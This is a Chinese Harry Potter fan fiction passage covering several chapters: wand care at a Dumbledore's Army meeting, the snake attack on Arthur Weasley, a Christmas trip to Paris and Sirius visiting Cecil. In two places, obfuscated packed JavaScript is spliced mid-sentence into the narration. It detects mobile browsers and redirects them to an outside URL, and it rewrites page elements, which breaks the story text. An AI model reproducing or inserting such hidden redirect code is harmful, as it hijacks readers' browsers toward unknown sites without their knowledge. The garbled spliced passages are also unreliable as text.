这意料之外的发言让哈利愣住了一会儿,他走近了一步才追问:“所以赫敏说的是真的?” “是啊,她见到过,我差点忘记了,”莉兹像是想起了什么似的,“那你大概也能明白我为什么要反对公开教学守护神咒了吧?” 哈利没有立刻回答,反倒是莉兹又跟着解释道:“我想一定有人告诉过你要信任一头白狮子,那么从现在开始,在霍格沃茨,你也可以信任一只猎狼犬。” “你也是……”哈利总算把她们联系在了一起。 “彻头彻尾的邓布利多军。”莉兹轻轻笑了一声。 她回身留意到不远处的骚动,立马走到正在甩打着魔杖的科林·克里维身边,一边抬手将男孩的手压下,一边挥舞着魔杖重新演示了一遍烈火咒,地炉中刚刚燃起又到处乱飞的火苗,集合成了足有十英尺的火舌,像火龙一般窜出来在半空中盘旋,融化滴落蜡烛在地面上留下一圈印记,周围的人都惊得后退了半步。 “六年级以下的学生只能练高级的防御咒语,我们一开始不是这么商量的吗?” 科林看向冷着一张脸的莉兹,不知所措地抓着魔杖低下头。 “魔杖。”她伸手。 “对不起。”他小声道着歉。 长叹一口气,莉兹直接把他的魔杖拿来过来,仔细从尖端摩挲到尾部,肉眼不可见的裂痕刺痛了她的指尖,默念着修复咒语的同时,她又看到了男孩慌张的表情。 “它会是最后救你一命的东西,请把它当作是你身体的一部分去珍惜可以吗?”莉兹的语气稍稍柔和了一些。 这段话一说,旁边的好几个学生都检查起了魔杖,连角落的哈利都忍不住抽出了魔杖,赶紧用袖子擦了擦。 “很久没见过这样的小古板女士了,乔治你说呢?”弗雷德碰了碰旁边人的肩膀。 “可不是吗,魔杖狂人。”乔治欣慰地看着皱起眉头的莉兹,那个只要看到有人不爱惜魔杖就会代替魔杖生气的姑娘。不过他更在意的还是刚刚的烈火咒,这太夸张了,她那轻飘飘的表情和庞然的火焰反差太大了。 小插曲结束之后,集会接下来的时间竟成了魔杖现场保养课程,所有人列着队想让莉兹检查,沉闷的魔咒练习集会又变得热闹了起来,莉兹的心情也一起变得轻松了,她喜欢听各种各样魔杖发出的不同的声音,跟它们的主人一样,活泼的人会有清脆的响声,安静的人会有舒缓的乐声。 连着一周的大雪开启了假日的序幕,收拾完行李准备出发去乘坐特快列车之前,莉兹拿起放在行李箱上的那把飞天扫帚,看着先前被自己抹掉普德米尔联队的队徽和米歇尔的签名,举起了魔杖,点点金色又重新浮现,就像从未消失过一般。 换上了新的大衣,她慢慢走过两节车厢,坐在靠窗位的罗杰·戴维斯看了她一眼,然后又跟对面的人下起了棋。和凯特在闲聊的安吉丽娜则是招呼着她过来一起坐,平时总会围绕在她周围的韦斯莱双胞胎却是不见踪影。玛丽埃塔在研究一本新的服装杂志,她拿着每一页在身上比划着,让秋看合不合适。 直到停在最后一个隔间前,那里面空荡荡的,是以前魁地奇队长们用来开会的地方,她看向那面对面的两个位置,总觉得那里坐着的应该是奥利弗和塞德里克。 拉开门,她在同样的地方坐下,朦胧的睡意就这样将她带到了伦敦。 到站的铃声响起,火车驶进国王十字车站,耳旁传来敲打玻璃窗的声音,莉兹睁开眼,伍德跟着缓缓停下的火车一边跑着,一边在对着她招手。 要不是这家伙下一刻给自己的拥抱足够使劲,差点勒得她喘不过气,莉兹其实会觉得自己还没醒过来。 “我快散架了,奥利弗。”她拍了拍他的胳膊。 “再给我两秒钟。”伍德蹭了蹭她的头顶,卷发软绵绵的触感太好了,一切都太好了。 88. 圣诞前夕的雨与雪 在把几个刚刚从港口抓获的神奇动物走私犯交接到傲罗办公室时,一阵骚动吸引了塞西尔的注意力,她很想立刻下楼去看看,但交接的文件还在缓慢地打印中。不知道是不是因为是夜班时间,坐在打字机前的那个男人故意磨磨蹭蹭的,按一个字母休息几秒钟,惹得塞西尔不耐烦地在一旁用鞋跟敲打着地砖。 而与他搭档值班的唐克斯已经把那群人带去了临时关押的牢房,并拿着钥匙又回来了,她那藏不住事的脸上写满了惊恐与担忧。显而易见,她一定是看到刚刚发生了什么。 “亚瑟他……亚瑟·韦斯莱出事了!”唐克斯看了一眼德力士立刻改了口,“韦斯莱先生被袭击了!” 可惜如此意外并不能让德力士加快干活的速度,他只是冷漠地说着:“那是其他傲罗组的事情。”整个人简直油盐不进,依然保持着刚刚的速度,直到写完最后的日期。 一把扯过打字机里的纸,塞西尔差点将羽毛笔上的墨水甩到德力士的脸上,匆忙签完名字,唐克斯在一边儿一直给她眼色,让她快点走。 外面的走廊上有几个家养小精灵在打扫,快步跑出来的塞西尔看到了地毯上长长的血迹,从楼下延伸到上面,她轻手轻脚顺着向下走,拿起魔杖点起亮光来,墙面与地砖上有飞溅的血液,她俯下身子查看除了脚印之外的痕迹,像蛇爬行留下的。 “踪迹显形(AppareVestigium)。” 金色的烟雾缓缓从塞西尔的魔杖顶端冒出来,模糊中她看到一条十二英尺长的巨蛇缓缓爬过,它停在一间屋子门前,与亚瑟·韦斯莱碰了个正着,巨蛇轻而易举弹开了驱逐咒语,直直立起张开大口狠狠咬伤了男人。 看清发生了什么事之后,她倒吸了一口凉气,现下等待邓布利多的指示应该是最稳妥的,塞西尔离开魔法部,钻进午夜的一场大雨里,然后消失在拐角的路灯下。 转眼间一个长胡子男人出现在圣芒戈医院的夜间紧急出入口,接连几个治疗师从他身旁经过,在值班室被叫醒的罗里·奥利凡德也在那之中,他匆忙扣好长袍,不小心撞到了男人,回头草草道了歉便朝着治疗室奔跑而去。 门外的长凳上坐着两个人,莫丽·韦斯莱双手紧握低着头,不断地喘着气,药剂师推着一车的魔药瓶从她面前经过,她甚至不敢抬头看一眼,因为治疗室里不断传来“伤口又开始流血”的声音,浸了血的纱布被一团又一团扔到一旁。而另一个人莱姆斯·卢平则是沉默着抚摸着莫丽的后背,在察觉到视线时缓缓抬起头看了过来,担忧填满了他皱起的眉头。 过了一会儿罗里拉开治疗室的帘子,他摘下手套走过来,一边扶起莫丽一边说着:“亚瑟的情况暂时稳定了,只是他的伤口被毒液渗透了,几乎无法愈合,目前是先止住了血……” “哦梅林——”莫丽听到这里整个人哽咽出声,向后退了半步,卢平伸手稳住她。 “我们还需要一些时间调制解毒剂,”罗里伸手拉住她,“亚瑟会没事的,莫丽,你相信我们。” “罗里,谢谢你,我想进去看看他,现在可以吗?”莫丽努力调整着呼吸。 “哦,没问题的,亚瑟应该一会儿就会醒来了。”罗里点了点头。 “莱姆斯,孩子们那里……”莫丽看向卢平刚开口,对方便应了声。 “已经都安顿好了,你放心。”说罢卢平才转身走向站在阴影处的男人,他留意着身后,还有大厅里的两个送亚瑟来医院的魔法部的人,然后打开一间空病房门,把男人推进去。 撩开灰白色的胡子,昏暗的室内塞西尔的脸那之后逐渐显露,卢平压低了声音,询问道:“我没有接到你会来这里的通知。” “邓布利多没给我指示,我就是来看看情况,西里斯那里应该也不会很欢迎我。”塞西尔试图用和平时一样不太靠谱的语调说着话,但听起来却根本不是那么一回事。 “那儿现在只有他一个大人,我想你回总部比较好。”卢平犹豫了一下,又补充问道,“罗里没有认出你吗?” “我和我哥哥没这么熟,”塞西尔轻笑了一声,“告诉莫丽,解毒剂的事情我也会想办法的,至少对付神奇动物是我的本职工作。” 见她掏出魔杖正准备幻影移形,卢平伸手拉住她:“你是准备回总部吧?” “放心吧莱姆斯,我不会乱跑的,我可比西里斯像个大人。”塞西尔拍拍他的肩膀,啪的一声消失在病房里。 卢平听了她这句话,心想着这也不见得吧,然后摇着头打开了门,见罗里和那两个魔法部职员交待着情况,他便继续坐在门外等待着。 漫长的一夜亚瑟被溃烂的伤口疼醒数次,莫丽坐在床边紧握着丈夫的手,不断安抚着他。 找不出解决办法的罗里只能重复倒上止血的药剂,然后变换着种类将不同的解毒剂加进去,直到夜雨渐止,天光大亮,不知道是哪一类解毒剂起了效,溃烂的部分愈合了大半,只剩下一道口子还在渗血,但止血的绷带已经足够缓解他的症状。 罗里彻底松了一口气,叫来了两个初级治疗师,让他们准备将亚瑟从治疗室转移回普通的病房。 和一直待在外面没离开的卢平打过招呼,迟来的困意与疲惫才找上了罗里,他感觉自己都撑不到回家了,推开值班室的门便一头栽倒在床上,睡梦中好像有谁进来在枕头边放下了一张便签纸,但他实在太累了便没有睁开眼。 再一次醒来时,将他从沉睡中叫回现实世界的,是在窗台敲打着窗框的班克,罗里连忙起身打开窗户将猫头鹰放进屋内,它叼着的信封和飘落在地的便签纸叠在一块儿,弯腰将它们都捡起来,罗里认出了信封上女儿的字迹,也认出了便签纸上的字迹。 塞西尔在上面画出了袭击韦斯莱先生的那条蛇的样子,也标出了两种解蛇毒的魔药制作方法,方便治疗师们确认毒液的来源。盯着妹妹的字良久,罗里长叹一口气,将便签纸塞进口袋里,然后拆开莉兹的信,他这时才想起自己说好在莉兹出发去巴黎前去国王十字车站接她的,现在再赶回家也来不及了,因为她在信里已经写到她收拾完行李便会去奥利弗那里一起用门钥匙去隐藏街了。 说不清道不明的情绪压在了他的心头,尤其是走出值班室,他又看到韦斯莱家那几个孩子跟在穆迪的身后走上了楼,他觉得这阵憋闷应该一时半会儿消不掉了。 班克很快就将回信带到了伍德在对角巷租住的那间屋子,它飞进一楼厨房敞开的窗户,差点碰倒摆在柜子上的那张三人合照,接着穿过楼梯来到二楼的卧室,见门虚掩着,它便毫不客气地撞开来,在天花板上盘旋着,把里面 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笑出了眼泪的莉兹被伍德伸手拉起来,习惯了面无表情的人这会儿难掩笑意,她把枕头丢到一旁,胡乱甩了甩头发,然后踮起脚两手轻轻一拍他的脸颊:“这可怎么好啊,快降降温吧,木头先生好像热得快燃烧了。” “还不是你……”伍德又看向别处,只想把自己的脸藏起来。 谁料到下一秒又被莉兹一手拨回来,她在他的脸上轻轻一啄,凑到耳边说道:“乖,冷静点。”而后便留下一个微笑,抬手让班克飞到自己的手臂上,先走出了卧室。 轻而易举的撩拨之下,奥利弗·伍德已经认清了自己这辈子永远都会被她耍得团团转的事实。 每个在英魁协注册过的职业选手都有资格通过魔法部认可的门钥匙在欧洲境内来去自如,而去巴黎的一个门钥匙安置在离帕特里克家不远的一个桥洞下,为了不被麻瓜流浪汉发现,它看起来只是一块松动的地砖,只有每天固定的几个时间会启动。 莉兹和伍德赶到桥洞下的时候刚好差不多到了时候,来不及与帕特里克和杰姬多寒暄一句,几个人便在伍德的催促下手牵手一起踩上了那块砖。 一眨眼的功夫,他们出现在了一条昏暗狭窄的深巷,四个人并排站着,连转身都很困难,伍德熟门熟路将脚底的地砖放进墙内那个专门留出的空处,拍拍还有些没缓过来的帕特里克的肩膀,推着三人走出了小巷,身后是一座教堂,在圣诞前夕被装饰得闪闪发光,有甜点的香气弥漫在空气中。 “下雪了。”莉兹仰起头来看向天空,点点白色飘落在鼻尖,她的手被紧紧握住。 驻足的路人也一起迎接着这场雪,伍德趁着麻瓜们的注意力都被吸引走,将莉兹圈在了怀里,另一只手揽过帕特里克,同时提醒了跟在最后的杰姬,四人走到了一座铜像前,按顺序报上了自己的名字,铜像缓缓移动露出了下面的入口。 “欢迎来到巴黎。” 伍德示意三人先进去,而这一句蹩脚的法语却逗笑了他们,是从前的法国队友教的,他觉得自己已经学得很像了。 “那么现在,就大玩一场吧!”杰姬从伍德手里抢过了莉兹,两个人跑向了正在售卖糖果的摊档,放下两枚硬币,然后拿了两个比脑袋还大的棉花糖,递给了莉兹一个。 甜丝丝的味道总能带来不错的好心情,莉兹回头看了伍德一眼,他正在看着自己傻呵呵地笑着,好像怎么也看不够似的。 89. 加了威士忌的蛋酒 巴黎的雪并不常见,但若是下起来便会没个完,过了午后更有愈演愈烈之势,原以为逃离了苏格兰高地阴冷的云雨,却不曾想一路追来了这里,莉兹手里的棉花糖吃了两口就被雪打湿了一小半。帕特里克提议暂时找个地方歇歇脚吃点东西,预定好的住处得到晚上才能腾出空房间来。 伍德想起先前和队友去过的酒吧,店里刚好提供午餐和下午茶,那里的可丽饼非常好吃,他第一次吃的时候就觉得莉兹一定会喜欢。听到这番直白的说辞,杰姬在一旁哈哈笑出了声,帕特里克也一边揉着伍德的肩膀,一边抿着嘴摇头,二人似乎仍然没能习惯奥利弗·伍德这种三句话里两句不离魁地奇一句不离莉兹的样子。 感到一丝局促的莉兹别开脸抛下三人先推开了酒吧的门,装饰用的雪花与闪片撒了她满头都是,她抬头看了一眼坐着吃饭的其他人,大家也都是如此。店外下着大雪,店里下着小雪,倒是挺有情调。 他们运气不错,刚好被安排到了靠窗的四人位,玻璃被施了双面的清洁咒语,沾不上一点雪与水珠,外面的街景一览无余。 餐点一上桌,一向寡言的莉兹就沉浸在自己面前那份加了三倍巧克力酱的可丽饼之中,她目不转睛盯着外面按着圣诞颂歌节奏在闪烁着的灯光,不知不觉竟然喝完了一整杯蛋酒。 隐隐约约之中,莉兹觉得整个世界好像被罩上了一层白纱,接着周围的一切都开始缓慢地旋转,上一秒自己还能听见帕特里克在抱怨催促他重新去魔法部面试的费尔曼先生,以及杰姬说自己已经两周没有回复过父母寄来的信了,她觉得他们大概会直接去伦敦的工作室砸门,然后下一秒就只像掉进了软绵绵的软垫里,身子轻飘飘的像一根羽毛。 突然感觉肩上一沉,伍德看到了莉兹的面颊通红,她倚靠在自己身上,体温也变得很烫,他伸手抚上她的脸,比他的手心还要热。盘子里的可丽饼剩了三分之一,她点的红酒炖鸡甚至都没上,再喜欢打瞌睡的人都不会在这种时候睡过去。 “梅林的胡子,我猜这才是我那杯加了双份威士忌的蛋酒!”杰姬拿过那空酒杯凑近闻了闻,“果然没错,看来店员给了我们四杯加威士忌的蛋酒,我还特地强调了有一杯只能加朗姆酒呢。” “而且她也喝得太快了,”帕特里克起身把莉兹的外套递给伍德,“一直没听到她说话,不过能答应跟我们一起出来玩对莉兹来说已经很不容易了吧,毕竟她……” 他抬手比划了两下:“看起来很喜欢一个人待着的模样。” 接过来把大衣盖在莉兹的身上,伍德轻轻托着她的头让她枕在了自己的腿上,扫去落在她睫毛上的闪片,抚摸着她的发际。帕特里克的话让笨嘴拙舌的他一时间想不出怎么解释,冷淡的莉兹这些年来给人的印象始终如此。 “哪有人趁别人睡着了说这些的,”杰姬撕了一块面包扔进洋葱汤里,“何况我觉得她很热心,级长里做事最负责的人就是她和塞德了。” 脱口而出的姓名凝住了桌面的气氛,不过也只有短短几秒钟而已,在“魁地奇之夜”成立的当日,挚友的失去便不再是那个难以提及的话题,更多地,那像是一种坚持下去的动力。 于是杰姬瞥了一眼没开口的伍德,继续说着:“现在学校里的日子不见得比我们好过。” “我有时候会忘记她还没离开霍格沃茨呢。”帕特里克笑了笑。 “确实如此!”杰姬点点头,“我总以为她和我是同一级的学生,或者比我还要年长一些。” 聊天的主题又绕去了新的角度,说起莉兹应该最有话说的伍德恨不得把脸埋进那盘刚刚端上来的红酒炖鸡之中,他可是在四年级的时候就被刚进魁地奇队伍的莉兹摆过好几道的人,怎么会不懂其他俩人在谈论的事情。 “但我觉得最神奇的一件事是……” 不知说到了什么,杰姬和帕特里克同时抬起头看向了伍德,插不进话的他总算是被迫开了口:“什么事情很神奇?” “你们两个人很神奇。”帕特里克手指了指莉兹又指了指伍德,如是评价道。 “我上学的时候跟你接触得太少,我没什么发言权,”杰姬手托着下巴,“不过米歇尔二代和那位伍德的传闻倒是听了不少。” “你们一定要从这里开始打听吗?”伍德无奈地皱起了眉头,“还是你们已经想问这件事很久了?” “难得聪明一回嘛。”帕特里克微笑了一下,“不瞒你说,你第一次来节目的时候我们就想问的,杰姬甚至写进专访提问了,但是我帮你拿掉了这个问题,怎么样,我还是挺仗义的吧。” “你们是这种风格的魁地奇节目吗?”伍德反问道。 “偶尔也要给我们的听众朋友找点乐子,调剂一下?”杰姬调侃着又改口,“好了,我们只是在开玩笑,迪米特洛夫和莱莉比你们有看头一点,大家比较喜欢粗犷一点的男人。” “不就是头发长了点,有什么看头。”伍德小声嘀咕着,回想起先前世界杯时莉兹也念叨过迪米特洛夫。 “那既然如此,现在可以接受我们的专访吗,伍德先生?”帕特里克逐渐开始得寸进尺。 “不可以。”伍德哼了一声,熟睡的人挪了挪身子,他便立马拍了拍她的后背安抚了两下。 “透露一点也不行吗,比如你们是怎么在一起的?”杰姬期待地看着他。 “一点也不行。”他再次拒绝,因为他死也不会告诉任何人,奥利弗·伍德其实是个木讷的胆小鬼,还需要喜欢的姑娘用一个主动的亲吻作为提醒。 “很好,你通过测试了,正直的奥利弗·伍德。”帕特里克举起酒杯碰了碰伍德的杯子,“祝你们幸福。” 这又是玩得哪一出,伍德茫然地喝了一口蛋酒:“你离家出走以后是不是变得太不正经了,以前那个老实的费尔曼去哪了?” “我们离家出走三人组难道还有一个是老实人吗?”杰姬笑了笑,“他是想说你通过好男人测试了。” “莉兹比我们三个加起来还聪明两倍,哪里还需要这种测试。”伍德又哼了一声。 “这倒是没办法反驳。”帕特里克沉思了两秒,“不过我们其实是离家出走四人组吧?” “离家出走,你说米歇尔二代?”杰姬惊讶摆摆手,“怎么可能,青年队名单上还有莉兹·奥利凡德呢。” “已经没有了,”伍德叹了一口气,“明年集训的大名单上没有莉兹。” “罗杰告诉我她退出校队了,所以我大概也明白她今年会跟我们一块儿过节的原因。”帕特里克解释。 “哦梅林,你可是我的合作伙伴,”杰姬用手肘一碰帕特里克,“我们一直在做魁地奇新闻,你取材居然不告诉我,奥利弗也是,有国家队的消息倒是早点说啊!”她又拿起叉子隔空戳了戳伍德。 “那是因为莉兹是朋友,不是新闻,史密斯女士。”帕特里克清了清嗓子。 “好吧,我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“正是今年在霍格沃茨呼风唤雨的那位女士,”帕特里克打了个冷颤,“爸爸还问我为什么要辞职,明明做得挺好的,听说部长对我的评价也很高,我只觉得自己已经坚持了够长时间了,谁都不是珀西·韦斯莱,他天生就能吃这碗饭。” “所以你就跟杰姬一拍即合了?”伍德搭腔。 “差不多吧,我那时在秘书室待了也有一年,我自认为对福吉那些荒唐的想法已经不在意了。”帕特里克说。 “但我还是不太能接受在标着被控告不当言论的文件里看到同学的名字,每日魁地奇这么权威的节目,她身为主持人说几句客观的评论为什么会被下禁言令,我第一次碰到了想不通的事情。” “虽然我跟杰姬以前接触不多,但我总觉得不能视而不见,审问的时候她说的话也让我想了很多。只能说幸好史密斯先生跟伯恩斯司长私交很不错,杰姬的指控当天就取消了,不过她工作也丢了。”说着帕特里克顿了顿,“于是我就脑子一热,那天下班前也扔了一封辞职信,直接找去了杰姬家里,我想她应该没放弃要做些什么。” “你还是很了不起,帕特里克,”伍德翻了个身坐起来,“这就是很了不起。” “光顾着说我,变化更大的不是你吗?”帕特里克把同样的问句甩回去,“你不记得在学校的时候只要取消魁地奇比赛,你是什么反应了,恨不得冲到麦格教授办公室里质问为什么。” 挠了挠后脑勺,伍德面颊一热:“至少那时候的魁地奇只是魁地奇,我比较喜欢那时候。” “我也是。”帕特里克回道。 新的一轮沉默开始了,房间的气氛再次回到了对话开始前。 90. 分成两半的石头 清晨日出时分,阳光透过窗帘的缝隙爬到莉兹的脸上,她皱着眉头,大约是醒了有一阵子了,微弱刺眼的感觉让她很不好受,将被子拉过头顶挡住光,她在十分钟前才想起这是他们提前预约好的旅店房间,而她却怎么都想不起自己是怎么到这里的。 掀开被子翻了个身,莉兹看到另一张床上仍然熟睡着的杰姬,她带着一顶花哨的睡帽,顶上有个毛线球,随着她呼吸的频率在晃动着。 床头挂着一个铜制的老式怀表,杰姬经常把它别在袍子上,房间里太过安静了,机械齿轮转动的声响意外的清楚,滴答、滴答、滴答,胃里空空荡荡,饥饿感让莉兹突然觉得自己的脑子和这老旧的齿轮一样,需要重新上一次发条才行。 挣扎着从床上爬起来,床垫实在太软了,整个人仿佛陷进去了似的,起身时更是无处借力,莉兹踩着鞋子走向洗漱间时神之有点气喘吁吁。 拧开水龙头,她低头往脸上泼了一抔水,凉得她打了个冷颤,深吸一口气看向镜子里的自己,空白的记忆片段把她带回了很不好的时候,也把一阵很不好的情绪一并带到了现在,她讨厌那些无法掌控自我的时刻,因为不可避免会令她联想到愧疚与悔意,以及自己的懦弱。 尽管早餐时间莉兹总算知道自己其实只是倒在了一杯加了一盎司威士忌的蛋酒之下,她也将无数的联想抛诸脑后,自然而风趣地调侃起自己的酒量,可不会消失的情绪就像渗进木板里的水,久而久之只要有人踩上去,地板就会吱呀作响。 糟糕的是,她发现自己根本忍不住来回踱步。 幸运的是,莉兹·奥利凡德天生擅长掩藏情绪。 帕特里克给这一段的巴黎假日安排了许多节目,几乎没有一点空闲的机会,好像只要醒着的时候,几个人就会处在热闹的环境之中,无论是来自妖精剧团前所未见的精彩表演,还是摆满了一桌又一桌的大餐,又或是每走一步都能有惊喜的魔法道具集市。 莉兹在兜售各类魔法材料的摊档前站了很久,商贩的英文和她的法语一样蹩脚,伍德站在她的身后,两手护在她的身侧,否则集市上汹涌的人潮早就把她挤到边角去了,毕竟他大概十几分钟前就已经不知道帕特里克还有杰姬被推去了何处。像守卫犬似的伍德寸步不离,那谨慎的模样逗笑了莉兹,她轻笑了一声伸手牵住了他的手,然后继续弯腰端详摊上那块其貌不扬的石头。 她已经选好了想要的东西,比如那一盒夜骐尾羽,因为能够真正看到夜骐的人本就不常见,连老奥利凡德那里都不曾有囤货,莉兹记得《魔杖制作材料大全》的作者在后记中提到,传闻这世界上只有一根魔杖使用了它作为杖芯,那便是死神赐予三兄弟之一的那一根拥有着最强力量的魔杖。 只不过《诗翁彼豆故事集》里的传说向来都是哄孩子入睡的玩意儿,每一个在巫师世界长大的小孩都听过不止一遍,莉兹自然不会把它当成是可以信赖的事实依据,但难得一见的杖芯材料还是不容错过,即便昂贵的价格几乎占了她一半的零花钱。 剩下不多的加隆她也在摊上花了一些,毫无疑问伍德确实弄不懂她感兴趣的东西,他的注意力在她牵着自己的那只手上,因为总算是被他捂热了。 这天到了很晚的时候几个人才重新碰头,杰姬买了顶很夸张的巫师帽,帽檐非常宽大,差不多要盖过她的肩膀,帕特里克不知是不是又喝了两杯,正醉醺醺地看着他们傻笑。 这种心照不宣的短暂逃离对四人而言似乎是目前对最佳选择,无人提及亚克斯利的条例和《预言家日报》的胡言乱语。哪怕后来到了平安夜时,面对着早早便安静下来的大街小巷、各家各户的窗户里透出暖黄色的灯光,漫步在这种温馨时刻的他们依旧十分默契地把家人当做了禁忌词。 “爱会拔掉我的翅膀,我会忘记风声。” 那是杰姬之前在电台的一期节目中向父母留的一句话,莉兹不知道自己为什么冷不丁想起了它。 十二月二十五日一早,米拉尼尔敲打着窗玻璃,动静很大吵醒了两个房间的人,伍德匆匆忙忙将猫头鹰迎进来,一阵冷风吹得帕特里克又缩回了被子里。他把房间里昨晚剩下的一点爆米花挪到米拉尼尔跟前,接着解开绑在它爪子上的细麻绳,拿下了它带来的包裹,里面是一副毛线手套还有一条蛋白石项链。 “早……圣诞快乐,”帕特里克稍微缓了两分钟,起身裹着巫师袍走过来,“是送你的礼物?” “早,”伍德应声将包裹里的卡片翻过来,“秋寄来的,项链要送给莉兹,手套是我的。” 他把项链盒子放到一旁,若有所思地看着那双手套,虽说秋·张家和他家是邻居,可往年住在家里的时候也就是早上互相分享些圣诞甜品和饼干,远远称不上是会互相赠礼的关系,他又看了一眼挂在椅背上的毛衣,那是妈妈先前织的衣服,答案呼之欲出。 “真不错,我一会儿再把我的那份拿给你。”帕特里克又打了两个呵欠,正好听到敲门声便转身拧开了门把手。 “圣诞快乐,我刚去厨房拿了点奶酪和火腿,希望你们这儿还有剩下的茶包,旅店今天不提供午餐了……”杰姬提着一篮子早餐走进来,大方得像是进自己的屋子一般,莉兹也探头看了一眼,抱着两个纸袋跟在了后面。 “所以直接去厨房拿东西是被允许的吗?”帕特里克潦草整理了一下乱糟糟的头发,然后挥着魔杖翻出带来的红茶,又往烧水壶里添了水。 “这重要吗,我是一个赫奇帕奇。”杰姬耸耸肩,把篮子里的盘子摆在桌子上。 这边两个忙活着泡茶和分奶酪,那边的莉兹径直走向了米拉尼尔,她揉了揉它的脑袋小声说着:“果然是你来了呀。” 接着她又拍了拍一直愣着不动的伍德,将手里的纸袋塞到他手里:“嘿,圣诞快乐。” 低头对上了莉兹那双眼睛,伍德这才回神来,他放下手套将项链递过去,一边说着那是秋一起寄来的,一边换手撕开了莉兹的礼物包装,小小的袋子里装着一个木雕的镂空盒子,一颗石头在里面闪烁着微弱的光。 “是前几天你买的那个石头?”伍德还以为这是什么打火石之类的东西,放在摊子上一点都不起眼。 “这种矿石可以用来嵌进魔杖里,刚好在人手握住的地方,可以增加魔杖的硬度,不过爷爷还是很传统的木料派,”莉兹从上衣口袋里摸出了另一半石头,“而且它有一个很有意思的特点,如果你将同一块石头一分为二,当两个人同时用手触碰它的时候,它们就会同时发光。” 伍德把盒子打开,取出石头放在手心,原本只是隐隐闪着光的石头,竟透出了刺眼的亮,用手都挡不住。 “那以后只要它发光,是不是就证明我们同时想到了对方。”他脱口而出。 “哪里会有这么多空闲想起你?”莉兹别过脸去,将石头又收回口袋,跑去帮帕特里克拿了茶杯。 而依然攥着石头不松手的伍德则是别提有多高兴了,不是说以前那些护目镜和守门员手套不够完美,而是这可能是莉兹第一次没有站在他需要什么的角度上送出的礼物,她只是想把自己知道的珍奇玩意儿分享给他。 并且这个东西,世界上不会再有另一个一模一样的。 午后趁着天气不错,莉兹去附近的邮局借了一只猫头鹰,把要送给塞西尔的圣诞礼物包好寄走,至于给秋的那一份可以交给米拉尼尔,希望它们能在天黑之前把这份祝福送到,好歹现在不是在霍格沃茨,她给塞西尔的信不会再被奇怪的家伙截住。 一只陌生的猫头鹰停在了窗台上,刚刚进门的塞西尔有点战战兢兢,或许是韦斯莱先生的事情让她过度紧张,又或许是刚和西里斯大吵了一架让她的精神过度紧绷,她打开窗户后一直用魔杖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487878|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指着猫头鹰,见它将包裹和信封扔在地毯上,瞥见署名那个熟悉的字迹才长舒一口气。 “对不起。”她轻声跟被吓到的猫头鹰道歉,然后盘腿坐下拆开了信封和包裹,里面是一盒解酒糖和一枚精致的胸针。 亲爱的刺海胆 圣诞快乐。 胸针是我用淘到的猫眼石做的,我觉得它很衬你的头发,但我们很久没见了,我不知道你现在的头发是什么颜色。 我大概还有两天就回伦敦了,这些日子我在巴黎玩得很高兴,帕特里克给我们介绍了许多有趣的地方。米歇尔女士要下个星期才回巴塞罗那,所以我回伦敦的时候可以跟你一起住吗,我暂时还没有想出跟她和平共处的办法。 我就当你答应了,不许拒绝我。 不然我就只能睡在奥利弗那里了,我猜你一定不会同意的。 希望你没有再一个人过节日,就算要一个人过也一定不要喝太多酒。 爱你的毛栗子 写于隐藏街的猫头鹰邮局 最后一句话直戳着塞西尔的心窝,她不禁自言自语念叨着:“我可是正准备开一瓶新的红酒呢。” 说罢她又想起热闹的格里莫广场12号,因为韦斯莱先生住院的事情,邓布利多让他们一大家子从陋居住暂时搬了过来,理由自然是方便守卫,也方便莫丽去圣芒戈医院照顾丈夫。如果西里斯没有因为克利切再跟自己闹脾气的话,她这会儿大概也会留在那里和唐克斯还有卢平喝个通宵,总之让她放弃喝酒这件事大约是没可能的。 想到这里塞西尔摇了摇头,一个人的圣诞对她而言又不稀奇,于是她还是决定将那瓶红酒打开,才走到碗柜前时她听到楼下传来房东太太的声音,她好像在兴奋地和什么人对话,下一秒楼梯上又是一阵急促的脚步声,没关好的房门被一条大黑狗撞开。 房东太太慢慢走在后面,严肃的表情消失得无影无踪:“它一定是太想你了,从新主人那里跑过来了。” 是的,西里斯离开时,塞西尔和麻瓜房东太太说的借口是给它找了新的家庭照顾它。 一时间惊讶得没能说出话,她瞪着绕着自己转的黑狗,慌慌张张打了招呼关上了房门,等到脚步声慢慢走远,她立刻给整个房间施了好几个防护咒和防窃听的咒语,一切完毕之后她狠狠拉住狗尾巴,换上了警告的语气:“你是疯了吗,出任何事我怎么和邓布利多先生交代!” 摆出抗议的姿态,黑狗对着塞西尔龇牙,接着钻进一件巫师袍里转眼变回了西里斯的模样,整理着衣服的时候,他仿佛这一切并非什么大事似的说道:“我还是希望你能来一起过节,所以我觉得亲自过来是最有诚意的态度。” “莱姆斯没看住你吗,今天可不是满月啊!”塞西尔看来一时半会儿冷静不下来。 “如果你少用两个咒语的话,他应该也能进来的。”西里斯调侃道。 连忙走到窗边,塞西尔一眼就看到了站在路灯下那个穿着破旧大衣的男人。 “所以,这算是接受我的道歉了?”西里斯问。 “是什么给了你错觉?”塞西尔又摇头。 “这不是你说要圣诞节带来的酒吗?”西里斯一把拿起桌上还没来得及开封的红酒,“看起来确实不错。” “有没有人说过你这家伙很不讨人喜欢?”塞西尔把防护咒一层层卸下。 “是吗,我倒是经常听说自己很讨人喜欢。”西里斯把红酒放回她怀里,然后又变回了黑狗,接着低声吠了两下,底下卢平幻影移形出现在房里,他说了声圣诞快乐就抓过塞西尔的手,再次幻影移形出现在格里莫广场。 总算能踹口气的塞西尔看着面前一人一狗,翻着白眼又摇了摇头:“梅林啊。” 